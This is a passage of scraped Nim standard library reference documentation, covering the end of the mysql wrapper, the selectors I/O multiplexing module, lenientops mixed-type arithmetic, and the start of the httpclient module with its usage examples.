cuint; data: cstring; len: int): my_bool {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_send_long_data".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1039) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1039) ``` proc stmt_result_metadata(stmt: PSTMT): PRES {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_result_metadata".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1042) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1042) ``` proc stmt_param_metadata(stmt: PSTMT): PRES {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_param_metadata".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1044) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1044) ``` proc stmt_errno(stmt: PSTMT): cuint {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_errno".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1046) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1046) ``` proc stmt_error(stmt: PSTMT): cstring {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_error".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1048) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1048) ``` proc stmt_sqlstate(stmt: PSTMT): cstring {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_sqlstate".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1050) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1050) ``` proc stmt_row_seek(stmt: PSTMT; offset: ROW_OFFSET): ROW_OFFSET {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_row_seek".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1052) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1052) ``` proc stmt_row_tell(stmt: PSTMT): ROW_OFFSET {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_row_tell".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1054) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1054) ``` proc stmt_data_seek(stmt: PSTMT; offset: my_ulonglong) {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_data_seek".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1056) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1056) ``` proc stmt_num_rows(stmt: PSTMT): my_ulonglong {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_num_rows".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1058) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1058) ``` proc stmt_affected_rows(stmt: PSTMT): my_ulonglong {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_affected_rows".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1060) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1060) ``` proc stmt_insert_id(stmt: PSTMT): my_ulonglong {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_insert_id".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1062) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1062) ``` proc stmt_field_count(stmt: PSTMT): cuint {...}{.stdcall, dynlib: lib, importc: "mysql_stmt_field_count".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1064) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1064) ``` proc commit(MySQL: PMySQL): my_bool {...}{.stdcall, dynlib: lib, importc: "mysql_commit".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1066) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1066) ``` proc rollback(MySQL: PMySQL): my_bool {...}{.stdcall, dynlib: lib, importc: "mysql_rollback".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1067) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1067) ``` proc autocommit(MySQL: PMySQL; auto_mode: my_bool): my_bool {...}{.stdcall, dynlib: lib, importc: "mysql_autocommit".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1068) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1068) ``` proc more_results(MySQL: PMySQL): my_bool {...}{.stdcall, dynlib: lib, importc: "mysql_more_results".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1070) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1070) ``` proc next_result(MySQL: PMySQL): cint {...}{.stdcall, dynlib: lib, importc: "mysql_next_result".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1072) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1072) ``` proc close(sock: PMySQL) {...}{.stdcall, dynlib: lib, importc: "mysql_close".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1073) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1073) ``` proc net_safe_read(MySQL: PMySQL): cuint {...}{.cdecl, dynlib: lib, importc: "net_safe_read".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1087) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1087) ``` proc IS_PRI_KEY(n: int32): bool {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1089) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1089) ``` proc IS_NOT_NULL(n: int32): bool {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1092) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1092) ``` proc IS_BLOB(n: int32): bool {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1095) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1095) ``` proc IS_NUM_FIELD(f: Pst_mysql_field): bool {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1098) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1098) ``` proc IS_NUM(t: Enum_field_types): bool {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1101) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1101) ``` proc INTERNAL_NUM_FIELD(f: Pst_mysql_field): bool {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1105) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1105) ``` proc reload(x: PMySQL): cint {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/mysql.nim#L1110) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/mysql.nim#L1110)
programming_docs
nim selectors selectors ========= This module allows high-level and efficient I/O multiplexing. Supported OS primitives: `epoll`, `kqueue`, `poll` and Windows `select`. To use threadsafe version of this module, it needs to be compiled with both `-d:threadsafe` and `--threads:on` options. Supported features: files, sockets, pipes, timers, processes, signals and user events. Fully supported OS: MacOSX, FreeBSD, OpenBSD, NetBSD, Linux (except for Android). Partially supported OS: Windows (only sockets and user events), Solaris (files, sockets, handles and user events). Android (files, sockets, handles and user events). TODO: `/dev/poll`, `event ports` and filesystem events. Imports ------- <os>, <nativesockets> Types ----- ``` Selector[T] = ref object ``` An object which holds descriptors to be checked for read/write status [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L47) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L47) ``` IOSelectorsException = object of CatchableError ``` Exception that is raised if an IOSelectors error occurs. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L50) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L50) ``` Event {...}{.pure.} = enum Read, ## Descriptor is available for read Write, ## Descriptor is available for write Timer, ## Timer descriptor is completed Signal, ## Signal is raised Process, ## Process is finished Vnode, ## BSD specific file change User, ## User event is raised Error, ## Error occurred while waiting for descriptor VnodeWrite, ## NOTE_WRITE (BSD specific, write to file occurred) VnodeDelete, ## NOTE_DELETE (BSD specific, unlink of file occurred) VnodeExtend, ## NOTE_EXTEND (BSD specific, file extended) VnodeAttrib, ## NOTE_ATTRIB (BSD specific, file attributes changed) VnodeLink, ## NOTE_LINK (BSD specific, file link count changed) VnodeRename, ## NOTE_RENAME (BSD specific, file renamed) VnodeRevoke ## NOTE_REVOKE (BSD specific, file revoke occurred) ``` An enum which hold event types [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L53) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L53) ``` ReadyKey = object fd*: int ## file/socket descriptor events*: set[Event] ## set of events errorCode*: OSErrorCode ## additional error code information for ## Error events ``` An object which holds result for descriptor [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L71) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L71) ``` SelectEvent = object ``` An object which holds user defined event [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L78) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L78) Consts ------ ``` ioselSupportedPlatform = true ``` This constant is used to determine whether the destination platform is fully supported by `ioselectors` module. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L34) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L34) Procs ----- ``` proc newSelector[T](): Selector[T] ``` Creates a new selector [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L81) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L81) ``` proc close[T](s: Selector[T]) ``` Closes the selector. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L84) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L84) ``` proc registerHandle[T](s: Selector[T]; fd: int | SocketHandle; events: set[Event]; data: T) ``` Registers file/socket descriptor `fd` to selector `s` with events set in `events`. The `data` is application-defined data, which will be passed when an event is triggered. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L87) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L87) ``` proc updateHandle[T](s: Selector[T]; fd: int | SocketHandle; events: set[Event]) ``` Update file/socket descriptor `fd`, registered in selector `s` with new events set `event`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L93) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L93) ``` proc registerTimer[T](s: Selector[T]; timeout: int; oneshot: bool; data: T): int {...}{. discardable.} ``` Registers timer notification with `timeout` (in milliseconds) to selector `s`. If `oneshot` is `true`, timer will be notified only once. Set `oneshot` to `false` if you want periodic notifications. The `data` is application-defined data, which will be passed, when the timer is triggered. Returns the file descriptor for the registered timer. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L98) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L98) ``` proc registerSignal[T](s: Selector[T]; signal: int; data: T): int {...}{.discardable.} ``` Registers Unix signal notification with `signal` to selector `s`. The `data` is application-defined data, which will be passed when signal raises. Returns the file descriptor for the registered signal. **Note:** This function is not supported on `Windows`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L112) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L112) ``` proc registerProcess[T](s: Selector[T]; pid: int; data: T): int {...}{.discardable.} ``` Registers a process id (pid) notification (when process has exited) in selector `s`. The `data` is application-defined data, which will be passed when process with `pid` has exited. Returns the file descriptor for the registered signal. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L124) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L124) ``` proc registerEvent[T](s: Selector[T]; ev: SelectEvent; data: T) ``` Registers selector event `ev` in selector `s`. The `data` is application-defined data, which will be passed when `ev` happens. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L134) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L134) ``` proc registerVnode[T](s: Selector[T]; fd: cint; events: set[Event]; data: T) ``` Registers selector BSD/MacOSX specific vnode events for file descriptor `fd` and events `events`. `data` application-defined data, which to be passed, when vnode event happens. **Note:** This function is supported only by BSD and MacOSX. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L140) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L140) ``` proc newSelectEvent(): SelectEvent {...}{.raises: [], tags: [].} ``` Creates a new user-defined event. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L149) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L149) ``` proc trigger(ev: SelectEvent) {...}{.raises: [], tags: [].} ``` Trigger event `ev`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L152) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L152) ``` proc close(ev: SelectEvent) {...}{.raises: [], tags: [].} ``` Closes user-defined event `ev`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L155) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L155) ``` proc unregister[T](s: Selector[T]; ev: SelectEvent) ``` Unregisters user-defined event `ev` from selector `s`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L158) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L158) ``` proc unregister[T](s: Selector[T]; fd: int | SocketHandle | cint) ``` Unregisters file/socket descriptor `fd` from selector `s`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L161) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L161) ``` proc selectInto[T](s: Selector[T]; timeout: int; results: var openArray[ReadyKey]): int ``` Waits for events registered in selector `s`. The `timeout` argument specifies the maximum number of milliseconds the function will be blocked for if no events are ready. Specifying a timeout of `-1` causes the function to block indefinitely. All available events will be stored in `results` array. Returns number of triggered events. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L164) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L164) ``` proc select[T](s: Selector[T]; timeout: int): seq[ReadyKey] ``` Waits for events registered in selector `s`. The `timeout` argument specifies the maximum number of milliseconds the function will be blocked for if no events are ready. Specifying a timeout of `-1` causes the function to block indefinitely. Returns a list of triggered events. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L175) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L175) ``` proc getData[T](s: Selector[T]; fd: SocketHandle | int): var T ``` Retrieves application-defined `data` associated with descriptor `fd`. If specified descriptor `fd` is not registered, empty/default value will be returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L184) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L184) ``` proc setData[T](s: Selector[T]; fd: SocketHandle | int; data: var T): bool ``` Associate application-defined `data` with descriptor `fd`. Returns `true`, if data was successfully updated, `false` otherwise. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L189) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L189) ``` proc contains[T](s: Selector[T]; fd: SocketHandle | int): bool {...}{.inline.} ``` Determines whether selector contains a file descriptor. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L227) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L227) ``` proc getFd[T](s: Selector[T]): int ``` Retrieves the underlying selector's file descriptor. For *poll* and *select* selectors `-1` is returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L230) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L230) Templates --------- ``` template isEmpty[T](s: Selector[T]): bool ``` Returns `true`, if there are no registered events or descriptors in selector. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L194) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L194) ``` template withData[T; ](s: Selector[T]; fd: SocketHandle | int; value, body: untyped) ``` Retrieves the application-data assigned with descriptor `fd` to `value`. This `value` can be modified in the scope of the `withData` call. ``` s.withData(fd, value) do: # block is executed only if ``fd`` registered in selector ``s`` value.uid = 1000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L198) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L198) ``` template withData[T; ](s: Selector[T]; fd: SocketHandle | int; value, body1, body2: untyped) ``` Retrieves the application-data assigned with descriptor `fd` to `value`. This `value` can be modified in the scope of the `withData` call. ``` s.withData(fd, value) do: # block is executed only if ``fd`` registered in selector ``s``. value.uid = 1000 do: # block is executed if ``fd`` not registered in selector ``s``. raise ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/selectors.nim#L211) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/selectors.nim#L211) nim lenientops lenientops ========== This module offers implementations of common binary operations like `+`, `-`, `*`, `/` and comparison operations, which work for mixed float/int operands. All operations convert the integer operand into the type of the float operand. For numerical expressions, the return type is always the type of the float involved in the expression, i.e., there is no auto conversion from float32 to float64. Note: In general, auto-converting from int to float loses information, which is why these operators live in a separate module. Use with care. Regarding binary comparison, this module only provides unequal operators. The equality operator `==` is omitted, because depending on the use case either casting to float or rounding to int might be preferred, and users should make an explicit choice. Procs ----- ``` proc `+`[I: SomeInteger; F: SomeFloat](i: I; f: F): F {...}{.noSideEffect, inline.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/lenientops.nim#L27) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/lenientops.nim#L27) ``` proc `+`[I: SomeInteger; F: SomeFloat](f: F; i: I): F {...}{.noSideEffect, inline.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/lenientops.nim#L29) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/lenientops.nim#L29) ``` proc `-`[I: SomeInteger; F: SomeFloat](i: I; f: F): F {...}{.noSideEffect, inline.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/lenientops.nim#L32) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/lenientops.nim#L32) ``` proc `-`[I: SomeInteger; F: SomeFloat](f: F; i: I): F {...}{.noSideEffect, inline.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/lenientops.nim#L34) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/lenientops.nim#L34) ``` proc `*`[I: SomeInteger; F: SomeFloat](i: I; f: F): F {...}{.noSideEffect, inline.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/lenientops.nim#L37) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/lenientops.nim#L37) ``` proc `*`[I: SomeInteger; F: SomeFloat](f: F; i: I): F {...}{.noSideEffect, inline.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/lenientops.nim#L39) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/lenientops.nim#L39) ``` proc `/`[I: SomeInteger; F: SomeFloat](i: I; f: F): F {...}{.noSideEffect, inline.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/lenientops.nim#L42) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/lenientops.nim#L42) ``` proc `/`[I: SomeInteger; F: SomeFloat](f: F; i: I): F {...}{.noSideEffect, inline.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/lenientops.nim#L44) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/lenientops.nim#L44) ``` proc `<`[I: SomeInteger; F: SomeFloat](i: I; f: F): bool {...}{.noSideEffect, inline.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/lenientops.nim#L47) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/lenientops.nim#L47) ``` proc `<`[I: SomeInteger; F: SomeFloat](f: F; i: I): bool {...}{.noSideEffect, inline.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/lenientops.nim#L49) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/lenientops.nim#L49) ``` proc `<=`[I: SomeInteger; F: SomeFloat](i: I; f: F): bool {...}{.noSideEffect, inline.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/lenientops.nim#L51) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/lenientops.nim#L51) ``` proc `<=`[I: SomeInteger; F: SomeFloat](f: F; i: I): bool {...}{.noSideEffect, inline.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/lenientops.nim#L53) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/lenientops.nim#L53) nim httpclient httpclient ========== This module implements a simple HTTP client that can be used to retrieve webpages and other data. Retrieving a website -------------------- This example uses HTTP GET to retrieve `http://google.com`: ``` import httpclient var client = newHttpClient() echo client.getContent("http://google.com") ``` The same action can also be performed asynchronously, simply use the `AsyncHttpClient`: ``` import asyncdispatch, httpclient proc asyncProc(): Future[string] {.async.} = var client = newAsyncHttpClient() return await client.getContent("http://example.com") echo waitFor asyncProc() ``` The functionality implemented by `HttpClient` and `AsyncHttpClient` is the same, so you can use whichever one suits you best in the examples shown here. **Note:** You need to run asynchronous examples in an async proc otherwise you will get an `Undeclared identifier: 'await'` error. Using HTTP POST --------------- This example demonstrates the usage of the W3 HTML Validator, it uses `multipart/form-data` as the `Content-Type` to send the HTML to be validated to the server. ``` var client = newHttpClient() var data = newMultipartData() data["output"] = "soap12" data["uploaded_file"] = ("test.html", "text/html", "<html><head></head><body><p>test</p></body></html>") echo client.postContent("http://validator.w3.org/check", multipart=data) ``` To stream files from disk when performing the request, use `addFiles`. **Note:** This will allocate a new `Mimetypes` database every time you call it, you can pass your own via the `mimeDb` parameter to avoid this. ``` let mimes = newMimetypes() var client = newHttpClient() var data = newMultipartData() data.addFiles({"uploaded_file": "test.html"}, mimeDb = mimes) echo client.postContent("http://validator.w3.org/check", multipart=data) ``` You can also make post requests with custom headers. This example sets `Content-Type` to `application/json` and uses a json object for the body ``` import httpclient, json let client = newHttpClient() client.headers = newHttpHeaders({ "Content-Type": "application/json" }) let body = %*{ "data": "some text" } let response = client.request("http://some.api", httpMethod = HttpPost, body = $body) echo response.status ``` Progress reporting ------------------ You may specify a callback procedure to be called during an HTTP request. This callback will be executed every second with information about the progress of the HTTP request. ``` import asyncdispatch, httpclient proc onProgressChanged(total, progress, speed: BiggestInt) {.async.} = echo("Downloaded ", progress, " of ", total) echo("Current rate: ", speed div 1000, "kb/s") proc asyncProc() {.async.} = var client = newAsyncHttpClient() client.onProgressChanged = onProgressChanged discard await client.getContent("http://speedtest-ams2.digitalocean.com/100mb.test") waitFor asyncProc() ``` If you would like to remove the callback simply set it to `nil`. ``` client.onProgressChanged = nil ``` **Warning:** The `total` reported by httpclient may be 0 in some cases. SSL/TLS support --------------- This requires the OpenSSL library, fortunately it's widely used and installed on many operating systems. httpclient will use SSL automatically if you give any of the functions a url with the `https` schema, for example: `https://github.com/`. You will also have to compile with `ssl` defined like so: `nim c -d:ssl ...`. Certificate validation is NOT performed by default. This will change in future. A set of directories and files from the <ssl_certs> module are scanned to locate CA certificates. See [newContext](net#newContext) to tweak or disable certificate validation. Timeouts -------- Currently only the synchronous functions support a timeout. The timeout is measured in milliseconds, once it is set any call on a socket which may block will be susceptible to this timeout. It may be surprising but the function as a whole can take longer than the specified timeout, only individual internal calls on the socket are affected. In practice this means that as long as the server is sending data an exception will not be raised, if however data does not reach the client within the specified timeout a `TimeoutError` exception will be raised. Here is how to set a timeout when creating an `HttpClient` instance: ``` import httpclient let client = newHttpClient(timeout = 42) ``` Proxy ----- A proxy can be specified as a param to any of the procedures defined in this module. To do this, use the `newProxy` constructor. Unfortunately, only basic authentication is supported at the moment. Some examples on how to configure a Proxy for `HttpClient`: ``` import httpclient let myProxy = newProxy("http://myproxy.network") let client = newHttpClient(proxy = myProxy) ``` Get Proxy URL from environment variables: ``` import httpclient var url = "" try: if existsEnv("http_proxy"): url = getEnv("http_proxy") elif existsEnv("https_proxy"): url = getEnv("https_proxy") except ValueError: echo "Unable to parse proxy from environment variables." let myProxy = newProxy(url = url) let client = newHttpClient(proxy = myProxy) ``` Redirects --------- The maximum redirects can be set with the `maxRedirects` of `int` type, it specifies the maximum amount of redirects to follow, it defaults to `5`, you can set it to `0` to disable redirects. Here you can see an example about how to set the `maxRedirects` of `HttpClient`: ``` import httpclient let client = newHttpClient(maxRedirects = 0) ``` Imports ------- <since>, <net>, <strutils>, <uri>, <parseutils>, <base64>, <os>, <mimetypes>, <streams>, <math>, <random>, <httpcore>, <times>, <tables>, <streams>, <monotimes>, <asyncnet>, <asyncdispatch>, <asyncfile>, <nativesockets> Types ----- ``` Response = ref object version*: string status*: string headers*: HttpHeaders body: string bodyStream*: Stream ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L213) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L213) ``` AsyncResponse = ref object version*: string status*: string headers*: HttpHeaders body: string bodyStream*: FutureStream[string] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L220) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L220) ``` Proxy = ref object url*: Uri auth*: string ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L277) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L277) ``` MultipartEntries = openArray[tuple[name, content: string]] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L290) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L290) ``` MultipartData = ref object content: seq[MultipartEntry] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L291) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L291) ``` ProtocolError = object of IOError ``` exception that is raised when server does not conform to the implemented protocol [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L294) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L294) ``` HttpRequestError = object of IOError ``` Thrown in the `getContent` proc and `postContent` proc, when the server returns an error [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L298) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L298) ``` ProgressChangedProc[ReturnType] = proc (total, progress, speed: BiggestInt): ReturnType {...}{. closure, gcsafe.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L522) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L522) ``` HttpClientBase[SocketType] = ref object socket: SocketType connected: bool currentURL: Uri ## Where we are currently connected. headers*: HttpHeaders ## Headers to send in requests. maxRedirects: Natural ## Maximum redirects, set to ``0`` to disable. userAgent: string timeout*: int ## Only used for blocking HttpClient for now. proxy: Proxy ## ``nil`` or the callback to call when request progress changes. when SocketType is Socket: onProgressChanged else: onProgressChanged when false: sslContext contentTotal: BiggestInt contentProgress: BiggestInt oneSecondProgress: BiggestInt lastProgressReport: MonoTime when SocketType is AsyncSocket: bodyStream parseBodyFut else: bodyStream getBody: bool ## When `false`, the body is 